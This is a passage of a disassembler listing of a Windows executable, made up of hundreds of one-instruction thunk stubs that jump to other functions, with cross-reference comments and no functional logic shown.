sub_4013B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013B6 proc near ; CODE XREF: _294ADE7B:0042A0AFp ; _294ADE7B:0042A0D8p jmp sub_42A250 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_428160 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C0 proc near ; CODE XREF: _294ADE7B:004159BFp jmp sub_416740 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_419EF0:loc_419EFFp ; sub_419EF0+1Fp jmp sub_419ED0 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40AAF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_403190+61p ; sub_4038B0+1Dp ... jmp sub_409640 sub_4013CF endp ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_416E80+29p jmp sub_4171D0 sub_4013D9 endp ; --------------------------------------------------------------------------- jmp loc_42E200 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: _294ADE7B:0042DA0Dp ; sub_42DB90+20p jmp sub_42DCC0 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: _294ADE7B:00406883p ; _294ADE7B:00415878p ... jmp sub_4068B0 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_404260+370p ; sub_404260:loc_404605p ... jmp sub_404800 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F2 proc near ; CODE XREF: sub_404890+26Bp ; _294ADE7B:0040E006p ... jmp sub_40D530 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_4146F0+5p jmp sub_4151D0 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013FC proc near ; CODE XREF: sub_40B080+1Dp ; _294ADE7B:0040B4ADp ... jmp sub_40B880 sub_4013FC endp ; --------------------------------------------------------------------------- jmp loc_40B150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401406 proc near ; CODE XREF: sub_41CC30+349p ; sub_4201C0+1Ap jmp sub_420230 sub_401406 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401410 proc near ; CODE XREF: sub_413E80+29p jmp sub_414970 sub_401410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401415 proc near ; CODE XREF: sub_407E8F+746p ; sub_407E8F+76Fp ... jmp sub_408FB0 sub_401415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141A proc near ; CODE XREF: sub_404260+30p ; sub_404260+14Bp ... jmp sub_40A220 sub_40141A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; CODE XREF: sub_4178D0+1EAp ; sub_4178D0+201p jmp sub_417DB0 sub_40141F endp ; --------------------------------------------------------------------------- jmp loc_41A360 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401429 proc near ; CODE XREF: sub_412900+E1p jmp sub_413F60 sub_401429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_421170+48p ; sub_421170+213p ... jmp sub_4254D0 sub_40142E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401433 proc near ; CODE XREF: sub_419B50+2Ap ; sub_419B50+5Ap jmp sub_418C80 sub_401433 endp ; --------------------------------------------------------------------------- jmp loc_42C2A0 ; --------------------------------------------------------------------------- jmp loc_429A80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: sub_40DB00+EAp ; sub_416AE0+157p jmp sub_40D9C0 sub_401442 endp ; --------------------------------------------------------------------------- jmp loc_40A240 ; --------------------------------------------------------------------------- loc_40144C: ; DATA XREF: _8C6BDE73:off_437050o jmp loc_40DED0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_40B880+16p ; sub_40B8C0+Bp ... jmp sub_40BC20 sub_401451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401456 proc near ; CODE XREF: sub_41ACE0+4E7p ; sub_41ACE0+A75p ... jmp sub_41BCA0 sub_401456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_411FB0+48p ; _294ADE7B:004333C7j ... jmp sub_414450 sub_40145B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401460 proc near ; CODE XREF: sub_416AE0+9Dp jmp sub_40A9E0 sub_401460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; DATA XREF: _8C6BDE73:off_437044o jmp sub_413AD0 sub_401465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146A proc near ; CODE XREF: sub_426890j ; _294ADE7B:00426D13p ... jmp sub_426C50 sub_40146A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_403190+115p ; sub_404260+1B8p ... jmp sub_4096E0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: sub_40A7D0+7p jmp sub_40A8C0 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_404730+9p ; sub_404890+45p ... jmp sub_40A2A0 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40147E proc near ; CODE XREF: sub_41CC30+E1p ; sub_41FFC0+1Ap jmp sub_420030 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_4187E0+10p ; sub_418980+47p ... jmp sub_418BD0 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401488 proc near ; CODE XREF: sub_406D60+24p jmp sub_406F40 sub_401488 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40148D proc near ; CODE XREF: _294ADE7B:0041583Bp ; _294ADE7B:004338E6j ... jmp sub_416090 sub_40148D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401492 proc near ; CODE XREF: sub_4148B0+5Fp ; DATA XREF: _5AD6BD6B:off_43D3F4o jmp sub_4152A0 sub_401492 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401497 proc near ; CODE XREF: sub_422EF0+Fp ; sub_422F30+1CCp ... jmp sub_422E50 sub_401497 endp ; --------------------------------------------------------------------------- jmp loc_409AF0 ; --------------------------------------------------------------------------- jmp loc_418080 ; --------------------------------------------------------------------------- jmp loc_42DDD0 ; --------------------------------------------------------------------------- jmp loc_429DA0 ; --------------------------------------------------------------------------- jmp loc_429CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B5 proc near ; CODE XREF: sub_420620+8p jmp sub_420A70 sub_4014B5 endp ; --------------------------------------------------------------------------- jmp locret_418000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BF proc near ; CODE XREF: _294ADE7B:004180FCp ; sub_421170+3E1p ... jmp sub_418040 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near ; CODE XREF: sub_417060+3p jmp sub_4173C0 sub_4014C4 endp ; --------------------------------------------------------------------------- jmp loc_42D720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014CE proc near ; CODE XREF: sub_40EB00+95p ; sub_4108D0+54Dp ... jmp sub_412FA0 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_40B080+Bp ; _294ADE7B:0040B499p jmp sub_40B980 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D8 proc near ; CODE XREF: sub_42A6E0+1Bp ; sub_42CD80+94p jmp sub_42A850 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_4205A0+7p jmp sub_420A20 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E2 proc near ; CODE XREF: _294ADE7B:0042D9FFp ; sub_42DB90+Fp jmp sub_42DD00 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: sub_416F30+29p ; sub_417010+29p jmp sub_417280 sub_4014E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014EC proc near ; CODE XREF: sub_40ACD0+40p ; _294ADE7B:0043269Aj ... jmp sub_40B810 sub_4014EC endp ; --------------------------------------------------------------------------- jmp loc_42B550 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F6 proc near ; CODE XREF: sub_40BB50+4p jmp sub_40BD60 sub_4014F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: sub_406CE0+3Cp jmp sub_406E90 sub_4014FB endp ; --------------------------------------------------------------------------- jmp loc_41A2F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401505 proc near ; CODE XREF: sub_413FA0+4Fp ; sub_4148B0+11p ... jmp sub_414B00 sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40150A proc near ; CODE XREF: sub_412400+BEp ; sub_412400+FCp ... jmp sub_413E80 sub_40150A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40150F proc near ; CODE XREF: _294ADE7B:0041596Fp jmp sub_4164D0 sub_40150F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401514 proc near ; CODE XREF: sub_4111F0+39p ; _294ADE7B:00411309p jmp sub_411160 sub_401514 endp ; --------------------------------------------------------------------------- jmp loc_42C270 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40151E proc near ; CODE XREF: sub_409F90+16Fp ; _294ADE7B:0043260Aj jmp sub_40A2F0 sub_40151E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_403BE0+51p ; sub_403BE0+A4p ... jmp sub_406D60 sub_401523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401528 proc near ; CODE XREF: sub_407E8F+763p ; sub_407E8F+78Cp ... jmp sub_40B1E0 sub_401528 endp ; --------------------------------------------------------------------------- jmp loc_42D130 ; --------------------------------------------------------------------------- jmp loc_418850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; CODE XREF: sub_414D50+4p jmp sub_4153A0 sub_401537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40153C proc near ; CODE XREF: sub_4093B0+1Ap ; sub_409400+1Ap jmp sub_409470 sub_40153C endp ; --------------------------------------------------------------------------- jmp loc_42DA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401546 proc near ; CODE XREF: sub_417EC0+35p jmp sub_417F50 sub_401546 endp ; --------------------------------------------------------------------------- jmp loc_42D660 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401550 proc near ; CODE XREF: _294ADE7B:0041FE43p jmp sub_41FE70 sub_401550 endp ; --------------------------------------------------------------------------- jmp loc_42D3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40155A proc near ; CODE XREF: sub_4140D0+5p jmp sub_414B30 sub_40155A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40155F proc near ; CODE XREF: sub_416FA0+5p ; sub_4170A0+6p ... jmp sub_417380 sub_40155F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401564 proc near ; CODE XREF: sub_404890+953p ; sub_4068E0+22Cp ... jmp sub_4097E0 sub_401564 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401569 proc near ; CODE XREF: _294ADE7B:0041592Fp jmp sub_406850 sub_401569 endp ; --------------------------------------------------------------------------- jmp loc_422A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401573 proc near ; CODE XREF: sub_414B60+5Ap jmp sub_4153F0 sub_401573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401578 proc near ; CODE XREF: sub_41D500+1C7p jmp sub_41F2A0 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: sub_404890+E94p ; sub_404890+FE7p ... jmp sub_41E560 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401582 proc near ; CODE XREF: sub_42C660+20p ; sub_42C660+32p jmp sub_42E7F0 sub_401582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401587 proc near ; CODE XREF: _294ADE7B:0042C5D5p jmp sub_42B0D0 sub_401587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40158C proc near ; CODE XREF: sub_416AE0+20Ep jmp sub_426110 sub_40158C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401591 proc near ; CODE XREF: sub_415170+8p jmp sub_415540 sub_401591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401596 proc near ; DATA XREF: _8C6BDE73:off_437078o jmp sub_41CC30 sub_401596 endp ; --------------------------------------------------------------------------- jmp loc_419140 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015A0 proc near ; CODE XREF: sub_40AA00p ; _294ADE7B:0042B292p jmp sub_42C4A0 sub_4015A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015A5 proc near ; CODE XREF: sub_406DA0+1Ap ; sub_416E80+1Ap jmp sub_406ED0 sub_4015A5 endp ; --------------------------------------------------------------------------- jmp loc_42A210 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AF proc near ; CODE XREF: sub_420910+5Fp jmp sub_420CB0 sub_4015AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B4 proc near ; CODE XREF: _294ADE7B:004188DAp jmp sub_419700 sub_4015B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; CODE XREF: sub_42C4A0:loc_42C4DBp ; sub_42C660:loc_42C69Ep jmp sub_42C700 sub_4015B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015BE proc near ; CODE XREF: sub_42E000+12p ; sub_42E730+51p jmp sub_42B6C0 sub_4015BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: _294ADE7B:0041597Fp jmp sub_416570 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_42B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: sub_40A3B0+8p jmp sub_40A400 sub_4015CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D2 proc near ; CODE XREF: _294ADE7B:00411CDEp jmp sub_411E70 sub_4015D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_42AC40+ADp ; _294ADE7B:0042D450p ... jmp sub_42A690 sub_4015D7 endp ; --------------------------------------------------------------------------- jmp loc_406470 ; --------------------------------------------------------------------------- jmp loc_4294F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: sub_407020:loc_40707Ap jmp sub_407220 sub_4015E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015EB proc near ; CODE XREF: sub_420D20+3Cp jmp sub_420E60 sub_4015EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F0 proc near ; DATA XREF: _8C6BDE73:004370A8o jmp sub_419B50 sub_4015F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_403190+BBp ; sub_404890+F3Ap ... jmp sub_4067C0 sub_4015F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FA proc near ; CODE XREF: _294ADE7B:00429F50p ; _294ADE7B:00429FCEp ... jmp sub_42DF20 sub_4015FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_408FF0+10p jmp sub_409090 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401604 proc near ; CODE XREF: sub_409F90+4Ap jmp sub_40A2C0 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401609 proc near ; CODE XREF: _294ADE7B:0041599Fp jmp sub_40E390 sub_401609 endp ; --------------------------------------------------------------------------- jmp loc_42D280 ; --------------------------------------------------------------------------- jmp loc_4297F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401618 proc near ; CODE XREF: sub_40BA20+9p ; sub_40BC80+18p jmp sub_40BE00 sub_401618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; CODE XREF: sub_41BE00+283p jmp sub_429A20 sub_40161D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401622 proc near ; CODE XREF: sub_403190+CCp ; sub_404260+EDp ... jmp sub_40A190 sub_401622 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401627 proc near ; CODE XREF: sub_422CE0+7Ep ; sub_422CE0+92p ... jmp sub_422BB0 sub_401627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40162C proc near ; CODE XREF: sub_412570+CEp ; sub_41F3E0+5DEp jmp sub_4099D0 sub_40162C endp ; --------------------------------------------------------------------------- jmp loc_4292D0 ; --------------------------------------------------------------------------- jmp loc_429A50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_413E00+29p jmp sub_414760 sub_40163B endp ; --------------------------------------------------------------------------- loc_401640: ; DATA XREF: _8C6BDE73:off_4370CCo jmp loc_426D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: sub_409160+58p ; sub_409160+82p ... jmp sub_4093B0 sub_401645 endp ; --------------------------------------------------------------------------- jmp sub_4272C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: sub_41CC30+2B2p jmp sub_420180 sub_40164F endp ; --------------------------------------------------------------------------- jmp loc_4194F0 ; --------------------------------------------------------------------------- jmp loc_411770 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40165E proc near ; CODE XREF: sub_40A3B0+10p jmp sub_40A420 sub_40165E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401663 proc near ; CODE XREF: sub_416980+7Bp ; sub_416980+C5p ... jmp sub_4170D0 sub_401663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401668 proc near ; CODE XREF: sub_413560+FCp jmp sub_413730 sub_401668 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40166D proc near ; CODE XREF: sub_41CC30+D1p jmp sub_4200E0 sub_40166D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401672 proc near ; CODE XREF: sub_40A9E0p ; _294ADE7B:loc_42B275p jmp sub_42C420 sub_401672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401677 proc near ; CODE XREF: sub_409160+91p ; sub_4116A0+Dp jmp sub_409330 sub_401677 endp ; --------------------------------------------------------------------------- jmp loc_40A940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_412740+4Ep jmp sub_413E00 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; CODE XREF: sub_40E390+13Dp jmp sub_411480 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: _294ADE7B:0040DF50p ; sub_416AE0+132p jmp sub_40CFB0 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: sub_413E00+51p jmp sub_414830 sub_401690 endp ; --------------------------------------------------------------------------- jmp loc_425070 ; --------------------------------------------------------------------------- jmp loc_419590 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169F proc near ; CODE XREF: sub_406DA0+48p ; sub_406DA0:loc_406E25p jmp sub_406FA0 sub_40169F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A4 proc near ; CODE XREF: sub_40A970+2Cp ; sub_416980+8Fp ... jmp sub_40AAA0 sub_4016A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A9 proc near ; CODE XREF: sub_403360+2A5p ; sub_403360+2B5p ... jmp sub_4039B0 sub_4016A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_414720+16p ; sub_414760+Bp ... jmp sub_4152C0 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: sub_40AAA0+10p ; _294ADE7B:0042A461p ... jmp sub_42B320 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: _294ADE7B:0040AA74p jmp sub_42E730 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: sub_417440+5Fp jmp sub_4176D0 sub_4016BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C2 proc near ; CODE XREF: _294ADE7B:004157ABp ; _294ADE7B:00417183p ... jmp sub_417160 sub_4016C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C7 proc near ; CODE XREF: _294ADE7B:00416E5Cp jmp sub_416AE0 sub_4016C7 endp ; --------------------------------------------------------------------------- jmp loc_41F390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D1 proc near ; CODE XREF: _294ADE7B:0041598Fp jmp sub_416640 sub_4016D1 endp ; --------------------------------------------------------------------------- jmp loc_4257F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016DB proc near ; CODE XREF: sub_42A9E0+5Dp ; sub_42B9B0+2Cp ... jmp sub_42C180 sub_4016DB endp ; --------------------------------------------------------------------------- jmp loc_429440 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E5 proc near ; CODE XREF: _294ADE7B:004250C7p jmp sub_424ED0 sub_4016E5 endp ; --------------------------------------------------------------------------- jmp loc_42D0B0 ; --------------------------------------------------------------------------- jmp loc_42A050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F4 proc near ; CODE XREF: sub_42B0F0+D7p ; sub_42C4A0+22p ... jmp sub_42C8D0 sub_4016F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_40A9E0+5j ; _294ADE7B:loc_42B27Dp jmp sub_42C520 sub_4016F9 endp ; --------------------------------------------------------------------------- jmp loc_42B2D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_425040+10p ; sub_425140+3Dp jmp sub_425110 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_40AA00+5j ; _294ADE7B:loc_42B285p ... jmp sub_42C540 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; DATA XREF: _8C6BDE73:off_437000o jmp sub_404890 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; CODE XREF: sub_422EF0+1Ep ; sub_422F30+A6p ... jmp sub_422E80 sub_401712 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401717 proc near ; CODE XREF: sub_414EB0+11p ; sub_414EB0+27p ... jmp sub_415480 sub_401717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40171C proc near ; CODE XREF: sub_4146A0+3p ; sub_414EB0+4Fp ... jmp sub_415130 sub_40171C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401721 proc near ; CODE XREF: sub_4142B0+5Ep ; sub_414CC0+32p jmp sub_414C00 sub_401721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401726 proc near ; CODE XREF: sub_403190+DBp ; sub_403BE0+3Fp ... jmp sub_40A280 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: sub_420420+5Ap jmp sub_420A40 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: sub_416AE0+A8p jmp sub_40AD70 sub_401730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401735 proc near ; CODE XREF: sub_4064B0+205p jmp sub_419EF0 sub_401735 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173F proc near ; CODE XREF: _294ADE7B:00426DB3p jmp sub_426DE0 sub_40173F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401744 proc near ; CODE XREF: _294ADE7B:00424516p ; _294ADE7B:00424547p jmp sub_423DF0 sub_401744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_41CC30+FFp ; sub_41CC30+179p ... jmp sub_420150 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_409C70+7p ; sub_40C310+2FDp jmp sub_409C90 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_40AF90+76p jmp sub_40AEF0 sub_401753 endp ; --------------------------------------------------------------------------- jmp loc_423710 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: sub_41CC30+18Ep ; _294ADE7B:00434903j jmp sub_41FFC0 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; DATA XREF: _8C6BDE73:off_4370ECo jmp sub_4272C0 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401767 proc near ; CODE XREF: _294ADE7B:004159AFp jmp sub_416710 sub_401767 endp ; --------------------------------------------------------------------------- jmp loc_429DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401771 proc near ; CODE XREF: sub_41CC30+3BCp ; sub_420C80+3p jmp sub_420320 sub_401771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: sub_4268B0+90p jmp sub_426B70 sub_401776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40177B proc near ; CODE XREF: _294ADE7B:00422A5Dp ; sub_422F30+135p jmp sub_422A90 sub_40177B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401780 proc near ; CODE XREF: sub_40B9A0+3p ; sub_40BA20+4Fp ... jmp sub_40BBE0 sub_401780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: sub_406DA0+36p ; sub_406DA0+72p ... jmp sub_406FF0 sub_401785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178A proc near ; CODE XREF: sub_411EB0+61p jmp sub_414410 sub_40178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: _294ADE7B:0040B531p ; _294ADE7B:0040B5F8p ... jmp sub_411390 sub_40178F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401794 proc near ; CODE XREF: _294ADE7B:0042D18Fp ; _294ADE7B:0042D29Fp ... jmp sub_42CCD0 sub_401794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401799 proc near ; DATA XREF: _294ADE7B:0042D44Ao ; _294ADE7B:0042D5B0o jmp sub_42CD40 sub_401799 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40179E proc near ; CODE XREF: sub_4150F0+7p jmp sub_4154D0 sub_40179E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A3 proc near ; CODE XREF: sub_416980+34p jmp sub_404840 sub_4017A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; CODE XREF: sub_403190+7Ap ; sub_403190+9Ep ... jmp sub_4096A0 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: sub_41EB00+152p jmp sub_41ED70 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; CODE XREF: _294ADE7B:004188F8p ; sub_4196B0+3p ... jmp sub_4196E0 sub_4017B2 endp ; --------------------------------------------------------------------------- jmp loc_41A7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: _294ADE7B:004157BBp ; _294ADE7B:00433956j ... jmp sub_4171B0 sub_4017BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk 